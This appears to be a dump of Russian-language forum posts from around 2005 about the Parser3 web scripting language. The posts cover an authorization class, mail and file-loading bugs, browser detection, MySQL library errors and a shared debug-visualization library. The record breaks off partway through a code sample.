"45652","...это \"все что уже готово\"?\
А то есть много непоняток с классом."
"45653","Приветствую!\
Есть класс прослойка bauth.p, подключаю:\
[code]\
	$bauth[^bauth::init[\
		$cookie:CLASS;\
		$form:fields;\
		$.csql[$MAIN:pSQL]\
		$.timeout(1)\
		$.event_lifetime(60)\
		$.event_min_count(300)\
		$.additional_fields[^table::create{select	update	field\
last_name	last_name	last_name\
first_name	first_name	first_name\
middle_name	middle_name	middle_name\
date_birthday	date_birthday}]\
	]]\
[/code]\
Всё отлично!\
НО... Есть одно \"но\".\
Я понял, что могу получить значения last_name, а также ... А вот как дело обстоит с формой регистрации? Мне придётся перекрывать этот метод? А также и что-ли метод добавления информации в БД?\
Или только придётся перекрывать сами формы?"
"45654","чтобы можно было всем желающим ознакомиться с тем что есть и чего-нибудь накодить при желании... я бы вот сам может че написал, если бы увидел, что будет полезно и не позорно... а самому напрашиваться \"дай мне я тоже буду\" и обещать чего-то - не буду..."
"45656","[code]\
@main[]\
^mail:send[\
	$.from[User Userovich <user@localhost>]\
	$.to[Somebody <sombody@localhost>]\
	$.subject[Parser Send test]\
#	$.X-Mailer[ Parser mailer (v0.0.1.123) test]\
	$.text[How it works?]\
	$.file[^file::load[binary;my_222_kb_archive.zip]]\
]\
[/code]\
\
Если раскомментировать - будет баг, а так - все корректно отправляет."
"45657","по крайней с файлами меньшего размера все ок.\
вероятно, вопрос во времени отправки файла.\
\
баг то, есть то нет, и иногда, даже когда он есть, письмо доходит."
"45658","пытаться координировать даже небольшой проект нет ни желания ни возможности. объяснять что и почему я сделал так а не иначе - тоже. \
\
собственно возможность есть попытаться сделать это при содействии одного двух человек, не более, т.к. в противном случае затраты на координацию возрастают многократно."
"45659","- да уж, форму придется перекрывать. ещё наверное и в свой дизайн придется все это зафигачивать.\
\
- а открыть auth.p, проскролить до методов @insertUser[]/@updateUser[] и посмотреть на 2 SQL запроса не судьба?"
"45660","http://mnogosearch.ru"
"45661","Но как? \
Это че нужно парсер помещать в .pl файл?"
"45662","а бесплатные есть?"
"45663","[code]$.timeout(60)[/code]\
\
вот эта строчка вам и выдаёт TimeOut\
Но здесь совсем другая ошибка:\
Предположим у вас нет на сайте фала но Парсер его ищет и ищет, а тут бац и время вышло, и он выдает ошибку."
"45665","P.S. где такую хорошую траву берёте? =)"
"45666","А под окнами! Все ездят утда сюда, у когото день плохой, а он бац и  нарвет себе травы, а потом раскуривает...\
\
Ну а Вы что предложите?"
"45667","Суть из нее: Парсер не работает с бинарными данными в принципе.\
\
Поэтому кроме варианта с временными файлами больше ничего вам не подойдет.\
\
Еще из недавнего: http://www.parser.ru/forum/?id=45344"
"45670","Заменил и пересобрал только gdome2. Точно на ту версию, которая была в INSTALL и всё собралось. Ура! Огромное спасибо!"
"45671","Использую класс авторизации от Misha v.3 (старая версия).\
Некоторые пользователи не могут зарегистрироваться. У них появляется стандартная страница при ошибке Парсера. В лог заносится следующее:\
\
[Tue Oct  4 14:43:45 2005] [11647] /reg.html: /...../public_html/auto.p(27:2): 'MAIN' method_frame may not be overwritten with hash, store it to variable instead [parser.runtime]\
[Wed Oct  5 18:15:36 2005] [860] /reg.html: /...../public_html/auto.p(27:2): 'MAIN' method_frame may not be overwritten with hash, store it to variable instead [parser.runtime]\
\
Причем, подобная ошибка наблюдается у приблизительно 5 человек на 200-250 уникальных (зарегистрировавшихся).\
Не могу понять, как это происходит и соответственно из-за чего.\
Пробовал куки, яву отключать - не в этом дело.\
Подскажите, что в чём может быть проблема и как получить максимум информации по ошибке, т.к. пользователи не очень то любят описывать свои действия при ошибках.\
\
Заранее всех благодарю!"
"45673","http://www.parser.ru/faq/errors/"
"45674","Получается в форму придётся добавить подобное:\
[code]\
<field type=\"text\" name=\"auth.last_name\" value=\"^if(def $_params.fields.[auth.last_name]){$_params.fields.[auth.last_name]}{$user.last_name}\" description=\"Фамилия\" required=\"1\" />\
[/code]\
P.S. По методам insert/update всё понял... Прошу прощения за этот глупый вопрос. Нет, прошу прощения за невнимательность. ;-)"
"45680","Есть ли более простой способ определить каким браузером просматривается страница?\
На данный момент мне в голову не пришло ничего, кроме этого банального способа:\
$brIE[^env:HTTP_USER_AGENT.pos[MSIE]]\
$brOp[^env:HTTP_USER_AGENT.pos[Opera]]\
$brMfox[^env:HTTP_USER_AGENT.pos[Mfirefox]]\
$browser[^eval($brIE+$brOp+$brMfox)]\
\
$browser дает следующие показатели:\
В IE 6.01 ---> 23\
В Opera 7.5 ----> 79\
В Firefox ---> -3\
\
В зависимости от этого у меня и идет дальше остальной код.\
Мне кажется это грубо, нет ли более элегантного способа?"
"45681","Очень нужно base64_decode, у кого есть плиз поделитесь."
"45683","однако он основат на анализе той-же $env:HTTP_USER_AGENT\
\
совет: не выдавай разный html для разных броузеров. 99% кода можно написать так, чтобы страница показалась хорошо во всех броузерах. а если вы попали в 1%, то лучше отказаться от реализации вовсе. вы не решите полностью проблему работоспособности, т.к. есть ещё поисковики и прокси сервера. прокеси сервер забрав от вас страницу подготовленную для одного броузера будет отдавать её всем.\
\
однако в js можно и нужно делать такие проверки, чтобы js нормально работал в большинстве броузеров."
"45684","ибо это очень похое на это: http://www.parser.ru/forum/?id=45473\
\
и если проблема действительно существует, то похоже это баг. однако я не наблюдал ничего подобного (но я и не делал пачки http запросов парсером). \
\
P.S. по крайней мере я понимаю, что делает приведенный код и что означает ошибка. никаких \"нет на сайте фала\", и \"Парсер его ищет и ищет\" это не означает."
"45685","Дык про то и речь. В Firefox и Opera не открывается модальное окно. Вот я его и пытаюсь открывать, если в IE нахожусь, а в остальных - просто target=\"_blank\""
"45686","напишите что-нить типа:\
<a href=\"$real_modal_window_url\" onclick=\"return openModalWindow('$real_modal_window_url')\">zzz</a>\
\
и в js функции openModalWindow все проверьте и возвратите true/false. но на самом деле по моему просто в этих броузерах у вас запрещены открытия этих окон.\
\
target=\"_blank\" - тоже отстой. пользователь не дурак, и когда захочет нажмет Shift при клике на ссылку чтобы открыть в новом окне, а если вы напишите _blank, а он НЕ хочет открывать в ново окне - он не сможет ничего изменить, и только будет очень плохими словами вспоминать разработчика сайта :)"
"45687","Методом исключения выяснилось, что проблема возникает при вводе определенных email адресов при регистрации.\
Например, если указать 123@mail.ru, то всё нормально, а если 123@rol.ru, то выдается ошибка. Таких адресов пока набралось штук 5-6.\
\
Из-за чего такое может быть?????\
Спасибо."
"45688","вот ещё вариант:\
detect.p\
[code]\
@CLASS\
detect\
\
\
@auto[]\
$browser[^table::create{name\
opera\
msie\
mozilla\
netscape\
}]\
#end @auto[]\
\
\
\
@_get_ver[user_agent;name]\
$result[]\
^user_agent.match[($name).(\\d+)(?:\\.(\\d+))?][ix]{\
	$result[\
		$.name[$match.1]\
		$.ver($match.2)\
		$.subver(^match.3.int(0))\
	]\
}\
#end @_get_ver[]\
\
\
\
@os[user_agent]\
^if(def $user_agent){\
	^if(^user_agent.match[mac][i]){\
		$result[mac]\
	}{\
		^if(^user_agent.match[win][i]){\
			$result[win]\
		}{\
			$result[unix]\
		}\
	}\
}{\
	$result[]\
}\
#end @os[]\
\
\
\
@agent[user_agent]\
^if(def $user_agent){\
	^browser.menu{\
		^if(!def $result){\
			$result[^_get_ver[$user_agent;$browser.name]]\
		}\
	}\
}\
^if(!def $result){\
	$result[\
		$.name[other]\
		$.ver(0)\
		$.subver(0)\
	]\
}\
#end @agent[]\
[/code]\
\
index.html\
[code]\
@main[]\
^use[detect.p]\
\
OS: ^detect:os[$env:HTTP_USER_AGENT]<br />\
\
$browser[^detect:agent[$env:HTTP_USER_AGENT]]\
Browser: $browser.name ${browser.ver}.${browser.subver}\
[/code]\
\
надо будет привести в нормальный вид метод @os[], проверить не ошибся-ли я где и заменить код в примерах :)"
"45689","Ну собственно щас и работает вызов внешнего скрипта, хотелось бы что-нить типа\
такого http://www.parser.ru/forum/?id=19631, только обратный процесс..."
"45690","Не, дело не $.timeout(60)\
Пробовал так:\
[code]$test[^file::load[text;http://*******/test.txt?111]][/code]\
и так:\
[code]$test[^file::load[binary;http://*******/test.txt?111]][/code]\
тоже самое... первый получаю, остальные нет, хотя сервер их вроде бы отдал...\
\
А вот так:\
[code]$test[^xdoc::load[http://*******/test.xml]]\
^test.string[$.method[html]][/code]\
работает сколько угодно!\
\
И у меня возникает вопрос - в чем отличия file::load от xdoc::load?"
"45692","Так он и сейчас free просто смотреть надо внимательнее...\
[url=\"http://www.mnogosearch.org/winrus.html\"]Для бывшего СССР[/url]"
"45696","а чем вам этот вариант не нравится? немного дописать и пользуйтесь."
"45699","установлен parser-3.1.4, и mysql библиотеки.\
\
при попытке обработать скрипт выдается ошибка:\
\
/news/: /home/op1417/www/news/index.html(16:2): '/usr/lib/libparser3mysql.so' /usr/lib/libparser3mysql.so: undefined symbol: _ZTVN10__cxxabiv117__class_type_infoE [<no type>]\
\
в чем может быть проблема?"
"45700","\"Универсальная ЦМС\" на самом деле всегда является \"узко специализированной\" вещью в себе. Гораздо больший [b]практический[/b] интерес могут представлять библиотеки с описанными функциями API. так чтобы: скачал, прикрутил, и можно пользоваться. Если что-то не устраивает - расширил путем прикручивания собственных методов.\
\
Пример такой маленькой библиотеки: http://www.opensea.tv/parser3/ - \"визуализатор\". Скачай, прикрути либо как класс, либо как библиотеку операторов и пользуйся. А если её \"зарыть\" в недра некой \"Универсальной ЦМС\", то все перестает быть очевидным (хотя, в принципе, и остается доступным).\
\
Было бы здорово собрать для Парсера3 в одном месте библиотеки API:\
\
\"Управление структурой сервера (файлами)\"\
\"Управление контентом\"\
\"Управление кэшированием файлов и баз данных\"\
\"Магазин\"\
\"Корзина\"\
\"Каталог файлов и изображений\"\
\"Типограф\"\
etc.\
\
Для этого всего-то надо, чтобы договориться о формате описаний данного API. У всех уже много наработано, но раскидано по личным страничкам в лучшем случае.\
\
А вот на базе подобного каталога библиотек уже можно и ЦМС собрать, и админку, и интранет-сети. Но это будет более правильный путь - снизу вверх, а не наоборот."
"45701","исправлена ошибка в методе @debugShowHash[]\
\
[code]\
###################################################################################################\
# $Id: visualization.p,v 1.5 2005/10/16 15:52:40 asharky@opensea.ru Exp $\
###################################################################################################\
#\
# @debugShowObject[]	Визуализация объектов\
# @debugShowVoid[]	Визуализация пустых объектов\
# @debugShowString[]	Визуализация объекта класса string\
# @debugShowTable[]	Визуализация объекта класса table\
# @debugShowImage[]	Визуализация объекта класса image\
# @debugShowDate[]	Визуализация объекта класса date\
# @debugShowFile[]	Визуализация объекта класса file\
# @debugShowDouble[]	Визуализация объекта класса int или double\
# @debugShowBool[]	Визуализация объекта класса bool\
# @debugShowHash[]	Визуализация объекта класса hash\
#\
###################################################################################################\
# Если есть необходимость и желание сделать данную библиотеку операторов классом, то:\
#\
# 1. Раскоментируйте ниже расположенные две строки\
# @CLASS\
# visualization\
# 2. Включите в Ваш класс MAIN оператор:\
# @debugShowObject[object]\
# ^visualization:debugShowObject[$object]\
# #end @debugShowObject[]\
###################################################################################################\
\
\
\
\
@debugShowObject[object]\
###################################################################################################\
# Визуализация объектов\
#\
#    string\
#    debugShowObject[\
#	undefined object\
#    ]\
#\
^if(!def $object){\
	^debugShowVoid[$object]\
}{\
	^if($object is date){^debugShowDate[$object]}\
	^if($object is file){^debugShowFile[$object]}\
	^if($object is image){^debugShowImage[$object]}\
	^if($object is bool){^debugShowBool[$object]}\
	^if($object is table){^debugShowTable[$object]}\
	^if($object is string){^debugShowString[$object]}\
	^if($object is int || $object is double){^debugShowDouble[$object]}\
	^if($object is hash){^debugShowHash[$object]}\
\
}\
#end @debugShowObject[]\
\
\
\
\
@debugShowString[text]\
###################################################################################################\
# Визуализация объекта класса string\
#\
#    string\
#    debugShowString[\
#	string text\
#    ]\
#\
$result[<strong>$text</strong> (string)<br>]\
#end @debugShowString[]\
\
\
\
\
@debugShowDouble[d]\
###################################################################################################\
# Визуализация объекта класса int или double\
#\
#    string\
#    debugShowDouble[\
#	int/double d\
#    ]\
#\
$result[<strong>$d</strong> (int/double)<br>]\
#end @debugShowDouble[]\
\
\
\
\
@debugShowBool[b]\
###################################################################################################\
# Визуализация объекта класса bool\
#\
#    string\
#    debugShowBool[\
#	bool b\
#    ]\
#\
$result[<strong>^if($b){true}{false}</strong> (bool)<br>]\
#end @debugShowBool[]\
\
\
\
\
@debugShowVoid[v]\
###################################################################################################\
# Визуализация пустых объектов\
#\
#    string\
#    debugShowVoid[\
#	void v\
#    ]\
#\
$result[<strong>Значение не присвоено</strong> (void)<br>]\
#end @debugShowVoid[]\
\
\
\
\
@debugShowFile[f][_f]\
###################################################################################################\
# Визуализация объекта класса file\
#\
#    string\
#    debugShowFile[\
#	file f\
#    ]\
#\
^try{\
	$_f[^file::stat[$f.name]]\
	$result[<strong>^file:fullpath[$f.name]</strong> (file).<br>\
	Размер: $_f.size байт.<br>\
	Создан ${_f.cdate.day}.${_f.cdate.month}.${_f.cdate.year} в ${_f.cdate.hour}ч.${_f.cdate.minute}мин.<br>\
	Изменен: ${_f.mdate.day}.${_f.mdate.month}.${_f.mdate.year} в ${_f.mdate.hour}ч.${_f.mdate.minute}мин.<br>\
	Последний раз обращение к файлу производилось ${_f.adate.day}.${_f.adate.month}.${_f.adate.year} в ${_f.adate.hour}ч.${_f.adate.minute}мин.<br>\
	MIME-тип файла: $_f.content-type<br>\
	^if(${_f.content-type} eq \"text/plain\" || ${_f.content-type} eq \"text/html\"){\
	Первые 100 символов файла:<br>\
	<strong>^f.text.left(100)...>>></strong><br>\
	Последние 100 символов файла:<br>\
	<strong><<<...^f.text.right(100)</strong><br>\
	}\
	]\
}{\
	$exception.handled(1)\
	$result[<font color=\"red\"><strong>^file:fullpath[$f.name]</strong> (file) не найден!</font><br>]\
}\
#end @debugShowFile[]\
\
\
\
\
@debugShowDate[d]\
###################################################################################################\
# Визуализация объекта класса date\
#\
#    string\
#    debugShowDate[\
#	date d\
#    ]\
#\
$result[<strong>${d.day}.${d.month}.${d.year}, ${d.hour}ч.${d.minute}мин.${d.second}сек. $d.yearday день года</strong> (date)<br>]\
#end @debugShowDate[]\
\
\
\
\
@debugShowImage[i]\
###################################################################################################\
# Визуализация объектов класса image\
#\
#    string\
#    debugShowImage[\
#	image i\
#    ]\
#\
\
$result[^if(def $i.src){<strong>^i.html[]</strong>}{<strong>Графический объект созданный Parser3</strong>} (image)<br>\
Высота изображения^: $i.height<br>\
Ширина изображения^: $i.width<br>\
^if(def $i.exif){^debugShowHash[$i.exif]}{EXIF информация в файле отсутствует!<br>}]\
#end @debugShowImage[]\
\
\
\
\
@debugShowTable[t][_tcol;_t;_path]\
###################################################################################################\
# Визуализация объектов класса table\
#\
#    string\
#    debugShowTable[\
#	table t\
#    ]\
#\
^if(^t.columns[] != ^t.flip[]){\
	$_path[$TEMP_DIR/^math:uid64[]]\
	^t.save[$_path]\
	$_t[^table::load[$_path]]\
	^file:delete[$_path]\
	Объект является nameless таблицей!<br>\
	^debugShowTable[$_t]\
}{\
	$_tcol[^t.columns[]]\
	$result[<table cellSpacing=\"1\" cellPadding=\"1\" border=\"1\">\
	<tr align=\"center\">\
	^_tcol.menu{\
		<td><strong>$_tcol.column</strong></td>\
	}\
	</tr>\
\
	^t.menu{\
	<tr align=\"center\">\
		^_tcol.menu{\
		<td>$t.[$_tcol.column]</td>\
		}\
	</tr>\
	}\
	</table>]\
}\
#end @debugShowTable[]\
\
\
\
\
@debugShowHash[h][k;v;_s]\
###################################################################################################\
# Визуализация объекта класса hash\
#\
#    string\
#    debugShowHash[\
#	hash h\
#    ]\
#\
<br>\
$_s[$caller._s&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^; ]\
^h.foreach[k;v]{\
	^if(!def $v){$_s^$.$k = ^debugShowVoid[$v]}{\
		^if($v is bool){$_s^$.$k = ^debugShowBool[$v]}\
		^if($v is string){$_s^$.$k = ^debugShowString[$v]}\
		^if($v is int || $v is double){$_s^$.$k = ^debugShowDouble($v)}\
		^if($v is hash){\
			$_s^$.$k (hash) = ^debugShowHash[$v]\
			$caller._s[^_s.mid(^eval(^_s.pos[ ]+1))]\
		}\
	}\
}\
#end @debugShowHash[]\
[/code]"
"45702","Вот так делаю в Парсере:\
#	убрал начальные и конечные кавычки - если они есть\
$tmp[^str.match[\\A\"(.+)\"\\z][gx]{$str[$match.1]}]\
$str[$str]\
возможно ли сделать подобное на стороне SQL сервера?\
что-то вроде:\
UPDATE base SET field='найденный результат регекспа'"
"45704","А как тогда быть если хочу пользоваться временной таблицей.\
\
[code]CREATE TEMPORARY TABLE tmp\
SELECT id_buk,team \
FROM `alls` USE INDEX(liga)\
WHERE liga\
IN (\
SELECT `liga` \
FROM `exp_leagues` \
WHERE `id_liga` =100\
);\
INSERT  IGNORE INTO teams2 ( id, id_bk, id_sport, team )SELECT teams2.id, tmp.id_buk, 1, tmp.team FROM `teams2`, `tmp` WHERE tmp.team= teams2.team AND tmp.id_buk != teams2.id_bk AND teams2.id_sport=\"1\" GROUP BY teams2.id ORDER BY tmp.team;\
\
[/code]"
"45706","лучше сразу приучайтесь всегда юзать http://www.parser.ru/examples/comp/"
"45708","А по второму разу не пытались вводить e-mailы с ошибкой?"
"45709","Ты б ещё спросил в чем разница между сахаром и сахарной ватой. Вроде б нет ни какой разницы и то и другое сахар только в разном виде и всё. И здесь у нас такая же фигня. Xdoc и любой другой файл(будь то графика, текст, приложение и даже xml(!)) всё равно разные вещи. Xdoc файл, но только он должен обрабатываться как обособленный объект XML, а простой файл это бинарный или текстовой вид, с которым можно делать простые манипуляци и например: сохранить, показать текст файла, удалить и д.р."
"45710","Не надо путать объекты разных классов (xdoc, file) и способ создания объектов (load по http)."
"45711","Ну может я немного непонятно сформулировал...\
Вопрос не в том чем отличаются file::load от xdoc::load, а почему первым способом у меня НЕ получается загрузить файл с моего сервера, а вторым получается."
"45712","Угу, на старом сервере у меня тоже работает. А вот на новом...\
В общем \"особенности местного хостинга\" :)\
Но все же хотелось бы узнать из-за чего так. Ведь наверняка где-то элементарный глюк и потом придется долго бить себя головой апстену."
"45714","Не могли бы Вы привести пример как с помощью них добавлять дату рождения?"
"45716","Из замеченного:\
Не выводится таблица, если она значение ключа хэша, почему-то вылазит string\
Далее предложения:\
1. писать не $.ключ=значение, а $.ключ[значение] такая форма привычна всем, т.к. она используется в синтаксисе.\
2. не писать, что это string, а это int, а просто использовать для этого скобки: $.key[string] или $.key(int) и т.д., то бишь опять же основываться на синтаксисе конструкций языка.\
3. Если ключ пуст писать не \"значение не задано\", а $.key[] и всё."
"45717","Что же делать то? Поговорили про траву это замечательно - но проблема то не решена - явный баг получается. \
\
Апач честно отдаёт оба файла по логам - один проглатывается, второй ошибка.\
\
Парсер 3.1.4beta  может пересобрать что нужно?  Жить то как? Работа стоит! Спасайте"
"45719","попробуйте создать bug.html, и сообщить подробную информацию о системе. ПАФ вернется - может что посоветует."
"45720","хочу форум на парсере, а у самого сил не хватит такой сделать, может кто нить делал и поделится, думаю многие о таком мечтают =)"
"45721","[quot]- класс авторизации не оптимизировался для ситуаций, когда есть очень большое количество записей в таблице ACL. а именно это произойдет если будете раздавать права на _сообщения_ в форуме.[/quot]\
\
Есть такая идея на внутрение новости (объявления) компании, т.е. как на объекты давать разграничение доступа, т.е. давать права, с целью чтобы разные группы пользователей видели то что касается их, и не видели то что им видеть не нужно.\
\
Но я вот думаю это будет весьма похоже на ситуацию с раздачей прав на сообщения в форуме... А это плохо. Насколько критично для класса авторизации большое кол-во объектов? или может есть более изящный способ решить такую задачу? \
\
Заранее спасибо!"
"45722","Ошибки исправил. В @debugShowHash[] у меня вообще были \"забыты\" классы date, image, file и table которые могут быть ключами hash'а. Включил и их.\
\
Вывод оставил в прежнем виде. Так все-таки нагляднее, имхо, и не приходится задумываться какой класс мы выводим.\
\
[code]\
###################################################################################################\
# $Id: visualization.p,v 1.6 2005/10/17 15:52:40 asharky@opensea.ru Exp $\
###################################################################################################\
#\
# @debugShowObject[]	Визуализация объектов\
# @debugShowVoid[]	Визуализация пустых объектов\
# @debugShowString[]	Визуализация объекта класса string\
# @debugShowTable[]	Визуализация объекта класса table\
# @debugShowImage[]	Визуализация объекта класса image\
# @debugShowDate[]	Визуализация объекта класса date\
# @debugShowFile[]	Визуализация объекта класса file\
# @debugShowDouble[]	Визуализация объекта класса int или double\
# @debugShowBool[]	Визуализация объекта класса bool\
# @debugShowHash[]	Визуализация объекта класса hash\
#\
###################################################################################################\
# Если есть необходимость и желание сделать данную библиотеку операторов классом, то:\
#\
# 1. Раскоментируйте ниже расположенные две строки\
# @CLASS\
# visualization\
# 2. Включите в Ваш класс MAIN оператор:\
# @debugShowObject[object]\
# ^visualization:debugShowObject[$object]\
# #end @debugShowObject[]\
###################################################################################################\
\
\
\
\
@debugShowObject[object]\
###################################################################################################\
# Визуализация объектов\
#\
#    string\
#    debugShowObject[\
#	undefined object\
#    ]\
#\
^if(!def $object){\
	^if($object is \"bool\"){\
		^debugShowBool[$object]\
	}{\
		^debugShowVoid[$object]\
	}\
}{\
	^if($object is date){^debugShowDate[$object]}\
	^if($object is file){^debugShowFile[$object]}\
	^if($object is image){^debugShowImage[$object]}\
	^if($object is bool){^debugShowBool[$object]}\
	^if($object is table){^debugShowTable[$object]}\
	^if($object is string){^debugShowString[$object]}\
	^if($object is int || $object is double){^debugShowDouble[$object]}\
	^if($object is hash){^debugShowHash[$object]}\
\
}\
#end @debugShowObject[]\
\
\
\
\
@debugShowString[text]\
###################################################################################################\
# Визуализация объекта класса string\
#\
#    string\
#    debugShowString[\
#	string text\
#    ]\
#\
$result[<strong>$text</strong> (string)<br>]\
#end @debugShowString[]\
\
\
\
\
@debugShowDouble[d]\
###################################################################################################\
# Визуализация объекта класса int или double\
#\
#    string\
#    debugShowDouble[\
#	int/double d\
#    ]\
#\
$result[<strong>$d</strong> (int/double)<br>]\
#end @debugShowDouble[]\
\
\
\
\
@debugShowBool[b]\
###################################################################################################\
# Визуализация объекта класса bool\
#\
#    string\
#    debugShowBool[\
#	bool b\
#    ]\
#\
$result[<strong>^if($b){true}{false}</strong> (bool)<br>]\
#end @debugShowBool[]\
\
\
\
\
@debugShowVoid[v]\
###################################################################################################\
# Визуализация пустых объектов\
#\
#    string\
#    debugShowVoid[\
#	void v\
#    ]\
#\
$result[<strong>Значение не присвоено</strong> (void)<br>]\
#end @debugShowVoid[]\
\
\
\
\
@debugShowFile[f][_f]\
###################################################################################################\
# Визуализация объекта класса file\
#\
#    string\
#    debugShowFile[\
#	file f\
#    ]\
#\
^try{\
	$_f[^file::stat[$f.name]]\
	$result[<strong>^file:fullpath[$f.name]</strong> (file)<br>\
	Размер: $_f.size байт.<br>\
	Создан ${_f.cdate.day}.${_f.cdate.month}.${_f.cdate.year} в ${_f.cdate.hour}ч.${_f.cdate.minute}мин.<br>\
	Изменен: ${_f.mdate.day}.${_f.mdate.month}.${_f.mdate.year} в ${_f.mdate.hour}ч.${_f.mdate.minute}мин.<br>\
	Последний раз обращение к файлу производилось ${_f.adate.day}.${_f.adate.month}.${_f.adate.year} в ${_f.adate.hour}ч.${_f.adate.minute}мин.<br>\
	MIME-тип файла: $_f.content-type<br>\
	^if(${_f.content-type} eq \"text/plain\" || ${_f.content-type} eq \"text/html\"){\
	Первые 100 символов файла:<br>\
	<strong>^f.text.left(100)...>>></strong><br>\
	Последние 100 символов файла:<br>\
	<strong><<<...^f.text.right(100)</strong><br>\
	}\
	]\
}{\
	$exception.handled(1)\
	$result[<font color=\"red\"><strong>^file:fullpath[$f.name]</strong> (file) не найден!</font><br>]\
}\
#end @debugShowFile[]\
\
\
\
\
@debugShowDate[d]\
###################################################################################################\
# Визуализация объекта класса date\
#\
#    string\
#    debugShowDate[\
#	date d\
#    ]\
#\
$result[<strong>${d.day}.${d.month}.${d.year}, ${d.hour}ч.${d.minute}мин.${d.second}сек. $d.yearday день года</strong> (date)<br>]\
#end @debugShowDate[]\
\
\
\
\
@debugShowImage[i]\
###################################################################################################\
# Визуализация объектов класса image\
#\
#    string\
#    debugShowImage[\
#	image i\
#    ]\
#\
\
$result[^if(def $i.src){<strong>^i.html[]</strong>}{<strong>Графический объект созданный Parser3</strong>} (image)<br>\
Высота изображения^: $i.height<br>\
Ширина изображения^: $i.width<br>\
^if(def $i.exif){^debugShowHash[$i.exif]}{EXIF информация в файле отсутствует!<br>}]\
#end @debugShowImage[]\
\
\
\
\
@debugShowTable[t][_tcol;_t;_path]\
###################################################################################################\
# Визуализация объектов класса table\
#\
#    string\
#    debugShowTable[\
#	table t\
#    ]\
#\
^if(^t.columns[] != ^t.flip[]){\
	$_path[$TEMP_DIR/^math:uid64[]]\
	^t.save[$_path]\
	$_t[^table::load[$_path]]\
	^file:delete[$_path]\
	Объект является nameless таблицей!<br>\
	^debugShowTable[$_t]\
}{\
	$_tcol[^t.columns[]]\
	$result[<table cellSpacing=\"1\" cellPadding=\"1\" border=\"1\">\
	<tr align=\"center\">\
	^_tcol.menu{\
		<td><strong>$_tcol.column</strong></td>\
	}\
	</tr>\
\
	^t.menu{\
	<tr align=\"center\">\
		^_tcol.menu{\
		<td>$t.[$_tcol.column]</td>\
		}\
	</tr>\
	}\
	</table>]\
}\
#end @debugShowTable[]\
\
\
\
\
@debugShowHash[h][k;v;_s]\
###################################################################################################\
# Визуализация объекта класса hash\
#\
#    string\
#    debugShowHash[\
#	hash h\
#    ]\
#\
<br>\
$_s[$caller._s&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^; ]\
^h.foreach[k;v]{\
	^if(!def $v){\
		^if($v is \"bool\"){\
			$_s^$.$k = ^debugShowBool[$v]\
		}{\
			$_s^$.$k = ^debugShowVoid[$v]\
		}\
	}{\
		^if($v is bool){$_s^$.$k = ^debugShowBool[$v]}\
		^if($v is string){$_s^$.$k = ^debugShowString[$v]}\
		^if($v is date){$_s^$.$k = ^debugShowDate[$v]}\
		^if($v is image){$_s^$.$k = ^debugShowImage[$v]}\
		^if($v is file){$_s^$.$k = ^debugShowFile[$v]}\
		^if($v is table){$_s^$.$k = ^debugShowTable[$v]}\
		^if($v is int || $v is double){$_s^$.$k = ^debugShowDouble($v)}\
		^if($v is hash){\
			$_s^$.$k (hash) = ^debugShowHash[$v]\
			$caller._s[^_s.mid(^eval(^_s.pos[ ]+1))]\
		}\
	}\
}\
#end @debugShowHash[]\
[/code]"
"45723","наверное лучше написать под свои нужды самому."
"45724","Студии TeleType (http://www.teletype.ru/) требуется программист сайтов на постоянную работу в офисе.\
\
	1. Необходим опыт создания и поддержки динамических сайтов, основанных на БД MySQL, apache+mod_rewrite, системе администрирования. \
	2. Обязательно знание любого серверного языка, но придется работать с Parser 3, XML, XSLT поэтому знание этих технологий и способность быстро переучиться приветствуется\
	3. Желателен опыт работы в Linux/FreeBSD (настройка, установка Apache, MySQL, sendmail и т. п.).  \
\
Рассказ о себе и о ваших работах присылайте Дмитрию Литвиненко (anti@teletype.ru)."
"45725","if\
condition must be expression (parameter #1)\
\
Версия в СVS некорректна сейчас. Paf, можете это исправить?\
Потому что использую парсер собранный модулем на FreeBSD 5.3 и версию 3.1.4 собрать не получилось, а 3.2 бета собирается без особых проблем.\
\
Был бы просто счастлив, если бы Вы исправили этот код в CVS.\
Причем проблемма появилась не больше месяца назад, так как месяц назад собирал cgi, все замечательно работало. А сейчас проапдейтился и все поломалось.\
Попробую конечно откатываться по дате..."
"45727","Ну а кто потестирует как мы ;)"
"45728","что-то не очень получилось...\
\
Буду откатываться, сильно много исправлять."
"45730","==================="
"45731","Помнится кто-то писал сабж на парсере.\
можно исходник глянуть?"
"45732","Я так понял, что при работе парсера в виде модуля xsl кэшируется, а кэшируется ли xml?\
\
Потому что есть достаточно объемный документ, который склонен расти, и к нему делается достаточно большое количество запросов XPath.\
\
Потому что если бы xml можно было загрузить типа \"статически\", то прирост производительности был велик.\
\
(Объем памяти занимаемой большим дом-деревом xml я представляю)"
"45734","Дело, конечно, хозяйское.\
Кому надо тот как хочет отформатирует...\
Однако, полагаю дефолтный вариант должен основываться на синтаксисе.\
Ибо самый наглядный формат в данном случае такой, какой бы был при ручном создании хэша.\
На мой взгляд, в идеале это следующий вид:\
[code]^debugShowObject[$hitrozadiy_hash][/code]\
и вывод, к прмеру:\
[code]\
$hitrozadiy_hash[\
	$.key1[string]\
	$.key2(int/double/void)\
	$.key3[\
		$.sub_key1(int/double/void)\
		$.sub_key1[string]\
	]\
	$.key4[\
		table\
	]\
]\
[/code]\
и так далее.\
С таблицей, файлами и прочим так строго к делу подходить не стоит, а вот с хэшем считаю самым разумным."
"45735","С отображением has'а - Вы правы. Просто у меня его внешний вид базируется на вызовах методов отображения других классов и \"в лоб\" не переделать. Ладно, введем параметр вызова методов.\
\
Сделаю."
"45736","А почему?\
\
Ведь хранить дом-объект и скомпилированный шаблон - задачи схожие, а валидировать состояние xml можно по дате.\
\
А можно ли вообще сделать статические объекты в парсере?\
Ведь есть какая-то глобальная область памяти, где хранятся скомпилированные шаблоны и коннекш пул. Или я не прав?"
"45737","[code]\
#==================================================================================================\
@dump[data]\
^if($data is table){\
	$result[^_tableDump[$data]]\
}{\
	^if($data is hash){\
		$result[^_hashDump[$data]]\
	}{\
		^if($data is string){\
			$result[$data]\
		}\
	}\
}\
#==================================================================================================\
#==================================================================================================\
@_tableDump[data][columns]\
$columns[^data.columns[]]\
$result[<div style=\"padding-left: 25px\">\
	<div bgcolor=\"#CCCCCC\" style=\"font-size: xx-small\">\
		строк: <strong>^data.count[]</strong>,\
		столбцов: <strong>^columns.count[]</strong>\
	</div>\
